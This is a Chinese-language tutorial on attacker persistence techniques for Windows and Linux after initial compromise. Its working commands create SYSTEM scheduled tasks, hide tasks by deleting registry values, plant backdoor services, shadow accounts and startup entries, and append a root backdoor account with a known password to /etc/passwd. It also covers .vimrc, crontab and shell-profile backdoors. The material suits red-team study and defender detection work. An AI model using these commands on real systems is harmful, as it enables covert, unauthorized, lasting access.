一 、前言
在我们获得初始会话之后,我们需要考虑如何让我们的访问持久化。原因很简单,如果我们是通过利用漏洞进来的,对方可能察觉到痕迹然后修补漏洞,如果是通过泄漏的密码进来的,对方可能修改密码。
二、windows持久化
计划任务
计划任务,也可成为定时任务,指的是在指定的时间执行某项任务。
手工
创建计划任务
如:计划任务名称为zhi,1分钟后以system权限运行calc.exe
schtasks /create /sc minute /mo 1 /tn zhi /tr "C:\Windows\system32\calc.exe" /ru SYSTEM
/sc与 /mo指定了执行间隔为 1 分钟,zhi为计划任务名称。然后是指定的应用以和参数 (这里没有参数),以及指定以 SYSTEM权限执行。如上诉操作就是:一分钟中以system权限运行calc.exe程序
查看计划任务
get-scheduledtask | findstr zhi
删除计划任务
schtasks /delete /tn zhi
工具
SharPersist(https://github.com/mandiant/SharPersist) 工具来达成目的:
-t参数为持久化技术,这里我们选择的是计划任务,-n为计划任务名称,-m为添加
SharPersist.exe -t schtask -c "C:\Windows\system32\calc.exe" -n "zhi" -m add -o hourly
隐藏
上诉创建的计划任务持久化不够隐蔽,很容易被发现,我们可以通过访问注册表 ,并且删除后门计划任务的SD值,来隐藏计划任务。这样的话通过命令就无法找到了。
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
开机自启
Startup 文件夹
只要把想执行的文件放入以下文件夹中,开机机会自己运行
C:\Users[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Run与RunOnce
我们还可以通过修改注册表Run与RunOnce实现。
注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Logon Helper
在注册表的 Winlogon(HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon) 区域提取到明文帐号密码,但实际上我们也可以用来实现持久化。我们注意到,一些条目指向可执行文件,例如 Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
我们直接替换的话,可能影响原本功能,因此我们额外添加要运行的程序及参数。
服务
手动创建后门服务
sc create zhi binPath= "C:\Windows\System32\calc.exe" start=auto
sc start zhi
我们可以直接将 binPath 指向我们想要的可执行文件,但服务所用的 exe 可执行文件与一般的可执行文件有所不同,如果我们直接指向一般可执行文件,例如 exe 版的 CS 或 Metasploit 载荷,会在运行后很快退出。我们也可以直接生成服务二进制文件
DLL代理
DLL劫持指的是程序启动时会加载数个的DLL文件,此时我们找出加载的dll文件的地址,再生成个与dll文件名一样的后门,这样程序启动时我们的后门也会跟着启动,但是这样的话可能会影响程序正常启动,所以我们需要DLL代理。
这里推荐** Export View** 工具 (http://www.nirsoft.net/utils/dll_export_viewer.html)
感觉相对于前面方式,dll代理有点鸡肋,就不在具体叙述
影子账户
我们只需要在创建用户时加上$符,在用net user查询时就无法被查询出来
PowerShell 侧写
每当用户运行 PowerShell.exe 的时候,PowerShell 侧写文件会被加载。我们可以通过执行命令 $Profile | select* 来查询所有的 PowerShell 侧写,共有 4 个可能的位置:
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
C:\Users\<用户名>\Documents\WindowsPowerShell\profile.ps1
C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
但是,显示出来的位置并不一定有现存的 profile.ps1 文件,我们可以自己新建一个
三、linux持久化
id_rsa
在用户的 .ssh 文件夹中,id_rsa 是用户的私钥,默认权限是 600,如果当前用户已经有了 SSH 密钥对,那么我们可以窃取 id_rsa,在外部通过 SSH 远程登陆,如果没有,我们就可以生成密钥对
生成
ssh-keygen -t rsa生成的目录
/root/.ssh/重启ssh服务
systemctl restart sshd服务端写入authorized_keys
authorized_keys
后面我们就可以用私钥登入
vim后门
在用户目录下编辑或新建 .vimrc文件,添加 :silent !touch /tmp/testvim命令。
:silent 是为了消除打开 vim 时的提示消息,一定程度上提升隐蔽性,! 后面跟着的则是 bash 命令。
crontab
/etc/crontab控制着系统上的计划任务,我们可以决定一个计划任务的间隔时间、执行的操作等。
我们可以在该文件中写入一个计划任务,例如执行命令 touch /tmp/crontab,那么我们在末尾添加 * * * * * root touch /tmp/crontab,保存,等候一分钟,如果以特定用户创建计划任务,我们可以使用 crontab-e 命令来编辑
passwd 与 shadow
我们可以在 /etc/passwd文件中写入一个后门 root 账户,密码我们可以借助 openssl生成。下文案例中的哈希对应的明文密码为 123456
openssl passwd -1 -salt zhi 123456
echo 'zhi:$1$zhi$O0srVNGaSQAETEFI5SS6X0:0:0:root:/root:/bin/bash'>> /etc/passwd
bashrc 与 bash_profile
在用户目录下,每当一个新的 shell 实例被打开,bashrc就会被执行。而 bash_profile则是在用户首次登陆进系统的时候被执行。我们可以修改这两个文件来达到持久化的效果
vim .bashrc
bash